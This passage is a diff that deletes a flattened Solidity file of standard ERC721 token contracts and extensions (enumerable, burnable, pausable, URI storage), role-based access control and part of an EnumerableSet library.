-    function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
-        _transfer(from, to, tokenId);
-        require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
-    }
-
-    /**
-     * @dev Returns whether `tokenId` exists.
-     *
-     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
-     *
-     * Tokens start existing when they are minted (`_mint`),
-     * and stop existing when they are burned (`_burn`).
-     */
-    function _exists(uint256 tokenId) internal view virtual returns (bool) {
-        return _owners[tokenId] != address(0);
-    }
-
-    /**
-     * @dev Returns whether `spender` is allowed to manage `tokenId`.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     */
-    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
-        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
-        address owner = ERC721.ownerOf(tokenId);
-        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
-    }
-
-    /**
-     * @dev Safely mints `tokenId` and transfers it to `to`.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must not exist.
-     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _safeMint(address to, uint256 tokenId) internal virtual {
-        _safeMint(to, tokenId, "");
-    }
-
-    /**
-     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
-     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
-     */
-    function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
-        _mint(to, tokenId);
-        require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
-    }
-
-    /**
-     * @dev Mints `tokenId` and transfers it to `to`.
-     *
-     * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
-     *
-     * Requirements:
-     *
-     * - `tokenId` must not exist.
-     * - `to` cannot be the zero address.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _mint(address to, uint256 tokenId) internal virtual {
-        require(to != address(0), "ERC721: mint to the zero address");
-        require(!_exists(tokenId), "ERC721: token already minted");
-
-        _beforeTokenTransfer(address(0), to, tokenId);
-
-        _balances[to] += 1;
-        _owners[tokenId] = to;
-
-        emit Transfer(address(0), to, tokenId);
-    }
-
-    /**
-     * @dev Destroys `tokenId`.
-     * The approval is cleared when the token is burned.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _burn(uint256 tokenId) internal virtual {
-        address owner = ERC721.ownerOf(tokenId);
-
-        _beforeTokenTransfer(owner, address(0), tokenId);
-
-        // Clear approvals
-        _approve(address(0), tokenId);
-
-        _balances[owner] -= 1;
-        delete _owners[tokenId];
-
-        emit Transfer(owner, address(0), tokenId);
-    }
-
-    /**
-     * @dev Transfers `tokenId` from `from` to `to`.
-     *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
-     *
-     * Requirements:
-     *
-     * - `to` cannot be the zero address.
-     * - `tokenId` token must be owned by `from`.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _transfer(address from, address to, uint256 tokenId) internal virtual {
-        require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
-        require(to != address(0), "ERC721: transfer to the zero address");
-
-        _beforeTokenTransfer(from, to, tokenId);
-
-        // Clear approvals from the previous owner
-        _approve(address(0), tokenId);
-
-        _balances[from] -= 1;
-        _balances[to] += 1;
-        _owners[tokenId] = to;
-
-        emit Transfer(from, to, tokenId);
-    }
-
-    /**
-     * @dev Approve `to` to operate on `tokenId`
-     *
-     * Emits a {Approval} event.
-     */
-    function _approve(address to, uint256 tokenId) internal virtual {
-        _tokenApprovals[tokenId] = to;
-        emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
-    }
-
-    /**
-     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
-     * The call is not executed if the target address is not a contract.
-     *
-     * @param from address representing the previous owner of the given token ID
-     * @param to target address that will receive the tokens
-     * @param tokenId uint256 ID of the token to be transferred
-     * @param _data bytes optional data to send along with the call
-     * @return bool whether the call correctly returned the expected magic value
-     */
-    function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
-        private returns (bool)
-    {
-        if (to.isContract()) {
-            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
-                return retval == IERC721Receiver(to).onERC721Received.selector;
-            } catch (bytes memory reason) {
-                if (reason.length == 0) {
-                    revert("ERC721: transfer to non ERC721Receiver implementer");
-                } else {
-                    // solhint-disable-next-line no-inline-assembly
-                    assembly {
-                        revert(add(32, reason), mload(reason))
-                    }
-                }
-            }
-        } else {
-            return true;
-        }
-    }
-
-    /**
-     * @dev Hook that is called before any token transfer. This includes minting
-     * and burning.
-     *
-     * Calling conditions:
-     *
-     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
-     * transferred to `to`.
-     * - When `from` is zero, `tokenId` will be minted for `to`.
-     * - When `to` is zero, ``from``'s `tokenId` will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
-}
-
-
-// File contracts/extensions/IERC721Enumerable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-interface IERC721Enumerable is IERC721 {
-
-    /**
-     * @dev Returns the total amount of tokens stored by the contract.
-     */
-    function totalSupply() external view returns (uint256);
-
-    /**
-     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
-     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
-     */
-    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
-
-    /**
-     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
-     * Use along with {totalSupply} to enumerate all tokens.
-     */
-    function tokenByIndex(uint256 index) external view returns (uint256);
-}
-
-
-// File contracts/extensions/ERC721Enumerable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-/**
- * @dev This implements an optional extension of {ERC721} defined in the EIP that adds
- * enumerability of all the token ids in the contract as well as all token ids owned by each
- * account.
- */
-abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
-    // Mapping from owner to list of owned token IDs
-    mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
-
-    // Mapping from token ID to index of the owner tokens list
-    mapping(uint256 => uint256) private _ownedTokensIndex;
-
-    // Array with all token ids, used for enumeration
-    uint256[] private _allTokens;
-
-    // Mapping from token id to position in the allTokens array
-    mapping(uint256 => uint256) private _allTokensIndex;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
-        return interfaceId == type(IERC721Enumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
-     */
-    function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
-        require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
-        return _ownedTokens[owner][index];
-    }
-
-    /**
-     * @dev See {IERC721Enumerable-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _allTokens.length;
-    }
-
-    /**
-     * @dev See {IERC721Enumerable-tokenByIndex}.
-     */
-    function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
-        require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
-        return _allTokens[index];
-    }
-
-    /**
-     * @dev Hook that is called before any token transfer. This includes minting
-     * and burning.
-     *
-     * Calling conditions:
-     *
-     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
-     * transferred to `to`.
-     * - When `from` is zero, `tokenId` will be minted for `to`.
-     * - When `to` is zero, ``from``'s `tokenId` will be burned.
-     * - `from` cannot be the zero address.
-     * - `to` cannot be the zero address.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
-        super._beforeTokenTransfer(from, to, tokenId);
-
-        if (from == address(0)) {
-            _addTokenToAllTokensEnumeration(tokenId);
-        } else if (from != to) {
-            _removeTokenFromOwnerEnumeration(from, tokenId);
-        }
-        if (to == address(0)) {
-            _removeTokenFromAllTokensEnumeration(tokenId);
-        } else if (to != from) {
-            _addTokenToOwnerEnumeration(to, tokenId);
-        }
-    }
-
-    /**
-     * @dev Private function to add a token to this extension's ownership-tracking data structures.
-     * @param to address representing the new owner of the given token ID
-     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address
-     */
-    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
-        uint256 length = ERC721.balanceOf(to);
-        _ownedTokens[to][length] = tokenId;
-        _ownedTokensIndex[tokenId] = length;
-    }
-
-    /**
-     * @dev Private function to add a token to this extension's token tracking data structures.
-     * @param tokenId uint256 ID of the token to be added to the tokens list
-     */
-    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
-        _allTokensIndex[tokenId] = _allTokens.length;
-        _allTokens.push(tokenId);
-    }
-
-    /**
-     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
-     * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
-     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).
-     * This has O(1) time complexity, but alters the order of the _ownedTokens array.
-     * @param from address representing the previous owner of the given token ID
-     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
-     */
-    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
-        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
-        // then delete the last slot (swap and pop).
-
-        uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
-        uint256 tokenIndex = _ownedTokensIndex[tokenId];
-
-        // When the token to delete is the last token, the swap operation is unnecessary
-        if (tokenIndex != lastTokenIndex) {
-            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
-
-            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
-            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
-        }
-
-        // This also deletes the contents at the last position of the array
-        delete _ownedTokensIndex[tokenId];
-        delete _ownedTokens[from][lastTokenIndex];
-    }
-
-    /**
-     * @dev Private function to remove a token from this extension's token tracking data structures.
-     * This has O(1) time complexity, but alters the order of the _allTokens array.
-     * @param tokenId uint256 ID of the token to be removed from the tokens list
-     */
-    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
-        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
-        // then delete the last slot (swap and pop).
-
-        uint256 lastTokenIndex = _allTokens.length - 1;
-        uint256 tokenIndex = _allTokensIndex[tokenId];
-
-        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
-        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
-        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)
-        uint256 lastTokenId = _allTokens[lastTokenIndex];
-
-        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
-        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
-
-        // This also deletes the contents at the last position of the array
-        delete _allTokensIndex[tokenId];
-        _allTokens.pop();
-    }
-}
-
-
-// File contracts/extensions/ERC721Burnable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-/**
- * @title ERC721 Burnable Token
- * @dev ERC721 Token that can be irreversibly burned (destroyed).
- */
-abstract contract ERC721Burnable is Context, ERC721 {
-    /**
-     * @dev Burns `tokenId`. See {ERC721-_burn}.
-     *
-     * Requirements:
-     *
-     * - The caller must own `tokenId` or be an approved operator.
-     */
-    function burn(uint256 tokenId) public virtual {
-        //solhint-disable-next-line max-line-length
-        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
-        _burn(tokenId);
-    }
-}
-
-
-// File contracts/extensions/Pausable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Contract module which allows children to implement an emergency stop
- * mechanism that can be triggered by an authorized account.
- *
- * This module is used through inheritance. It will make available the
- * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
- * the functions of your contract. Note that they will not be pausable by
- * simply including this module, only once the modifiers are put in place.
- */
-abstract contract Pausable is Context {
-    /**
-     * @dev Emitted when the pause is triggered by `account`.
-     */
-    event Paused(address account);
-
-    /**
-     * @dev Emitted when the pause is lifted by `account`.
-     */
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    /**
-     * @dev Initializes the contract in unpaused state.
-     */
-    constructor () {
-        _paused = false;
-    }
-
-    /**
-     * @dev Returns true if the contract is paused, and false otherwise.
-     */
-    function paused() public view virtual returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    modifier whenNotPaused() {
-        require(!paused(), "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    modifier whenPaused() {
-        require(paused(), "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Triggers stopped state.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    function _pause() internal virtual whenNotPaused {
-        _paused = true;
-        emit Paused(_msgSender());
-    }
-
-    /**
-     * @dev Returns to normal state.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    function _unpause() internal virtual whenPaused {
-        _paused = false;
-        emit Unpaused(_msgSender());
-    }
-}
-
-
-// File contracts/extensions/ERC721Pausable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-/**
- * @dev ERC721 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC721Pausable is ERC721, Pausable {
-    /**
-     * @dev See {ERC721-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
-        super._beforeTokenTransfer(from, to, tokenId);
-
-        require(!paused(), "ERC721Pausable: token transfer while paused");
-    }
-}
-
-
-// File contracts/extensions/ERC721URIStorage.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev ERC721 token with storage based token URI management.
- */
-abstract contract ERC721URIStorage is ERC721 {
-    using Strings for uint256;
-
-    // Optional mapping for token URIs
-    mapping (uint256 => string) private _tokenURIs;
-
-    /**
-     * @dev See {IERC721Metadata-tokenURI}.
-     */
-    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
-        require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
-
-        string memory _tokenURI = _tokenURIs[tokenId];
-        string memory base = _baseURI();
-
-        // If there is no base URI, return the token URI.
-        if (bytes(base).length == 0) {
-            return _tokenURI;
-        }
-        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
-        if (bytes(_tokenURI).length > 0) {
-            return string(abi.encodePacked(base, _tokenURI));
-        }
-
-        return super.tokenURI(tokenId);
-    }
-
-    /**
-     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     */
-    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
-        require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
-        _tokenURIs[tokenId] = _tokenURI;
-    }
-
-    /**
-     * @dev Destroys `tokenId`.
-     * The approval is cleared when the token is burned.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _burn(uint256 tokenId) internal virtual override {
-        super._burn(tokenId);
-
-        if (bytes(_tokenURIs[tokenId]).length != 0) {
-            delete _tokenURIs[tokenId];
-        }
-    }
-}
-
-
-// File contracts/extensions/AccessControl.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
-
-
-// File contracts/extensions/EnumerableSet.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Library for managing
- * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
- * types.
- *
- * Sets have the following properties:
- *
- * - Elements are added, removed, and checked for existence in constant time
- * (O(1)).
- * - Elements are enumerated in O(n). No guarantees are made on the ordering.
- *
- * ```
- * contract Example {
- *     // Add the library methods
- *     using EnumerableSet for EnumerableSet.AddressSet;
- *
- *     // Declare a set state variable
- *     EnumerableSet.AddressSet private mySet;
- * }
- * ```
- *
- * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
- * and `uint256` (`UintSet`) are supported.
- */
-library EnumerableSet {
-    // To implement this library for multiple types with as little code
-    // repetition as possible, we write it in terms of a generic Set type with
-    // bytes32 values.
-    // The Set implementation uses private functions, and user-facing
-    // implementations (such as AddressSet) are just wrappers around the
-    // underlying Set.
-    // This means that we can only create new EnumerableSets for types that fit
-    // in bytes32.
-
-    struct Set {
-        // Storage of set values
-        bytes32[] _values;
-
-        // Position of the value in the `values` array, plus 1 because index 0
-        // means a value is not in the set.
-        mapping (bytes32 => uint256) _indexes;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function _add(Set storage set, bytes32 value) private returns (bool) {
-        if (!_contains(set, value)) {
-            set._values.push(value);
-            // The value is stored at length-1, but we add 1 to all indexes
-            // and use 0 as a sentinel value
-            set._indexes[value] = set._values.length;
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function _remove(Set storage set, bytes32 value) private returns (bool) {
-        // We read and store the value's index to prevent multiple reads from the same storage slot
-        uint256 valueIndex = set._indexes[value];
-
-        if (valueIndex != 0) { // Equivalent to contains(set, value)
-            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
-            // the array, and then remove the last element (sometimes called as 'swap and pop').
-            // This modifies the order of the array, as noted in {at}.
-
-            uint256 toDeleteIndex = valueIndex - 1;
-            uint256 lastIndex = set._values.length - 1;
-
-            if (lastIndex != toDeleteIndex) {
-                bytes32 lastvalue = set._values[lastIndex];
-
-                // Move the last value to the index where the value to delete is
-                set._values[toDeleteIndex] = lastvalue;
-                // Update the index for the moved value
-                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
-            }
-
-            // Delete the slot where the moved value was stored
-            set._values.pop();
-
-            // Delete the index for the deleted slot
-            delete set._indexes[value];
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function _contains(Set storage set, bytes32 value) private view returns (bool) {
-        return set._indexes[value] != 0;
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function _length(Set storage set) private view returns (uint256) {
-        return set._values.length;
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function _at(Set storage set, uint256 index) private view returns (bytes32) {
-        return set._values[index];
-    }
-
-    // Bytes32Set
-
-    struct Bytes32Set {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _add(set._inner, value);
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _remove(set._inner, value);
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
-        return _contains(set._inner, value);
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(Bytes32Set storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
-        return _at(set._inner, index);
-    }
-
-    // AddressSet
-
-    struct AddressSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(AddressSet storage set, address value) internal returns (bool) {
-        return _add(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(AddressSet storage set, address value) internal returns (bool) {
-        return _remove(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(AddressSet storage set, address value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(AddressSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(AddressSet storage set, uint256 index) internal view returns (address) {
-        return address(uint160(uint256(_at(set._inner, index))));
-    }
-
-
-    // UintSet
-
-    struct UintSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(UintSet storage set, uint256 value) internal returns (bool) {
-        return _add(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(UintSet storage set, uint256 value) internal returns (bool) {
-        return _remove(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function length(UintSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
